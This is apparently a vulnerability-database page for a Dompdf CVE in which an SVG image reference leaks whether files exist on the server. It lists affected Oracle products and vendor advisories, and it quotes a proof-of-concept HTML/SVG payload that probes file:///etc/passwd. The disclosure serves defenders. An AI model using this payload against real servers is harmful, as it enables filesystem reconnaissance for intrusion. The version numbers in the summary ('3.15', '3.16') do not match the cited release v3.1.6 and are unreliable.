CVE-2026-59943
mediumpriority · track · 21EPSS 0.004 · 36 %ileDEEUNLUSEPSS · scored 2026-10-27
Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.7–6.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (18)
Products and version ranges known to be affected.
- Oracle Communications Cloud Native Core Security Edge Protection Proxy 25.2.201all versionscert_bundDEcpe:/a:oracle:communications:cloud_native_core_security_edge_protection_proxy_25.2.201
- Oracle Communications Cloud Native Core Security Edge Protection Proxy 26.1.200all versionscert_bundDEcpe:/a:oracle:communications:cloud_native_core_security_edge_protection_proxy_26.1.200
- Oracle Communications MetaSolv Solution Module 70.0.0all versionscert_bundDEcpe:/a:oracle:communications:metasolv_solution_module_70.0.0
- Oracle Communications Operations Monitor 6.1all versionscert_bundDEcpe:/a:oracle:communications:operations_monitor_6.1
- Oracle Communications Service Catalog and Design 8.0-8.3all versionscert_bundDEcpe:/a:oracle:communications:service_catalog_and_design_8.0_-_8.3
- Oracle Communications Unified Assurance 6.1.1-7.0.0all versionscert_bundDEcpe:/a:oracle:communications:unified_assurance_6.1.1_-_7.0.0
- Oracle Communications Unified Assurance 7.0.0all versionscert_bundDEcpe:/a:oracle:communications:unified_assurance_7.0.0
advisories (3)
Vendor and ecosystem advisories describing this.
- NCSC-2026-0375Kwetsbaarheden verholpen in Oracle CommunicationsNL2026-09-16csaf · ncsc_nlNL
Oracle heeft 31 kwetsbaarheden verholpen in diverse Oracle Communications-producten, waaronder Oracle Communications Unified Assurance, Oracle Communications Cloud Native Core Security Edge Protection Proxy, Oracle Communications MetaSolv Solution Module - ASR, Oracle Communications Service Catalog and Design en Oracle Communications Operations Monitor.
- WID-SEC-W-2026-3403Oracle Communications: Mehrere SchwachstellenDeutsch2026-09-15csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Communications ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.
- GHSA-j8qw-6jw8-r297Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem2026-07-22ghsa · osvUS
### Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. ### Details Using an `<image>` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. ``` [Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196 ``` ### PoC First, the attacker renders this HTML document: ``` <html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html> ``` The `<img>` tag contains the following SVG content: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg> ``` As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" /> However, when supplying a path to a file or directory that does not exist, for example: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg> ``` The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position: <img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" /> ### Impact By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (10)
External citations — patches, advisories, analysis.
- https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0cnnvd
- https://github.com/dompdf/dompdf/releasesPatchcnnvd
- https://github.com/dompdf/dompdf/releases/tag/v3.1.6cnnvd
- https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297cnnvd
- https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0enisa_euvd
- https://github.com/dompdf/dompdf/releases/tag/v3.1.6enisa_euvd
- https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297enisa_euvd
- https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0Patchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan